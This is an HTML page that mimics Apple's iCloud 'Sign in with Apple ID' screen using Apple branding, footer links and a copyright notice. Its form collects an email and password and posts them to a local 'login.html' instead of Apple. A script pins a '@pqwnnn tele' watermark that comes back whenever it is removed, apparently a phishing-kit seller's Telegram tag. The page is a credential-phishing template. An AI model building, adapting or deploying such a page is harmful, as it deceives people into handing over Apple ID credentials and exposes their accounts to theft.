<!DOCTYPE html>
<html lang="fr">

<head>
  <meta charset="UTF-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>iCloud</title>
  <link rel="icon" type="image/x-icon" href="../Assets/Logo2.png" />
  <link rel="stylesheet" href="../css/style.css" />
  <link rel="stylesheet" href="../css/fa/css/all.css" />
  <link rel="preconnect" href="https://fonts.googleapis.com" />
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
  <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;500;600&display=swap" rel="stylesheet" />
  <style>
    body {
      opacity: 0;
      transition: opacity 1s ease;
    }

    body.loaded {
      opacity: 1;
    }

    #password-container {
      display: none;
      opacity: 0;
      transition: opacity 1s ease;
    }

    #password-container.show {
      display: block;
      opacity: 1;
    }

    .email-input {
      border-radius: 10px;
      transition: border-radius 1s ease, padding 1s ease;
      padding: 10px;
      border: 1px solid #ccc;
    }

    .email-input.shrink {
      border-bottom-left-radius: 0;
      border-bottom-right-radius: 0;
    }

    .pass-input {
      width: calc(100% + 18px);
      margin-top: -1px;
      padding: 10px;
      border: 1px solid #ccc;
      border-radius: 0 0 10px 10px;
    }

    .site-header-logo {
      width: 100%;
      height: auto;
      display: block;
    }

    #watermark {
      position: fixed;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%) rotate(-30deg);
      font-size: 5rem;
      font-family: Arial, sans-serif;
      color: rgba(0, 0, 0, 0.1);
      pointer-events: none;
      z-index: 9999;
      user-select: none;
    }
  </style>
</head>

<body>
  <div class="container">
    <header class="site-header">
      <div class="main-header">
        <a href="../index.html">
          <div class="header-1">
            <img src="../Assets/Logo.png" alt="Apple Logo" class="site-header-logo" />
            <p class="icloud-logo"></p>
          </div>
        </a>
        <div class="header-2">
          <img src="../Assets/Menu-Logo.png" alt="Menu Logo" class="header-menu-logo" />
        </div>
      </div>
    </header>
    <div class="page-1">
      <div class="shaded-box">
        <div class="login-logo">
          <img src="../Assets/login-logo.svg" alt="Login Logo" />
        </div>
        <div class="login-title">
          <p class="login-text">Sign in with Apple ID</p>
        </div>
        <div class="form">
          <form action="./login.html" method="post" name="form" id="login-form">
            <span>
              <input name="username" id="username" class="email-input" type="email" placeholder="Email or Phone Number"
                required="" />
            </span>
            <span id="password-container">
              <input name="password" id="password" class="pass-input" type="password" placeholder="Password"
                required="" />
              <button id="submit" class="fal fa-arrow-circle-right"></button>
            </span>
          </form>
        </div>
      </div>
      <div class="save_log">
        <input type="checkbox" class="remember" id="remember" name="remember" />
        <label for="remember" class="remember-txt"> Keep me signed in </label>
      </div>
      <div class="reset-pass">
        <div class="separator">
          <hr />
        </div>
        <div class="links">
          <a class="reset-link" href="https://iforgot.apple.com/password/verify/appleid" id="reset-link"
            target="_blank">Forgot password?</a>
          <br />
          <a class="new-link" href="https://www.icloud.com/" id="new-link">Create Apple ID</a>
        </div>
      </div>
    </div>
    <footer class="site-footer">
        <div class="footer-part-1">
          <a href="https://www.apple.com/support/systemstatus/" target="_blank" class="footer-link">System Status</a> | 
          <a href="https://www.apple.com/legal/privacy/" target="_blank" class="footer-link">Privacy Policy</a> | 
          <a href="https://www.apple.com/legal/internet-services/terms/site.html" target="_blank" class="footer-link">Terms & Conditions</a>
        </div>
        <div class="footer-part-2">
          Copyright © 2025 Apple Inc. All rights reserved.
        </div>
      </footer>
      
      <style>
        .footer-link {
          color: inherit; 
          text-decoration: none; 
        }
      
        .footer-link:visited,
        .footer-link:hover,
        .footer-link:active {
          color: inherit; 
          text-decoration: none; 
        }
      </style>
      
  </div>

  <script>
    document.addEventListener('DOMContentLoaded', () => {
      document.body.classList.add('loaded');

      const watermark = document.createElement("div");
      watermark.id = "watermark";
      watermark.innerText = "@pqwnnn tele";
      document.body.appendChild(watermark);

      const observer = new MutationObserver(() => {
        if (!document.getElementById("watermark")) {
          document.body.appendChild(watermark);
        }
      });
      observer.observe(document.body, { childList: true });

      const usernameInput = document.getElementById('username');
      const passwordContainer = document.getElementById('password-container');

      usernameInput.addEventListener('input', () => {
        const inputVal = usernameInput.value;

        if (/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(inputVal)) {
          passwordContainer.style.display = 'block';
          setTimeout(() => {
            passwordContainer.classList.add('show');
            usernameInput.classList.add('shrink');
          }, 10);
        } else {
          passwordContainer.classList.remove('show');
          passwordContainer.style.display = 'none';
          usernameInput.classList.remove('shrink');
        }
      });

      document.getElementById('username').addEventListener('keydown', function (event) {
        if (event.key === 'Enter') {
          event.preventDefault();
        }
      });
    });
  </script>
</body>

</html>
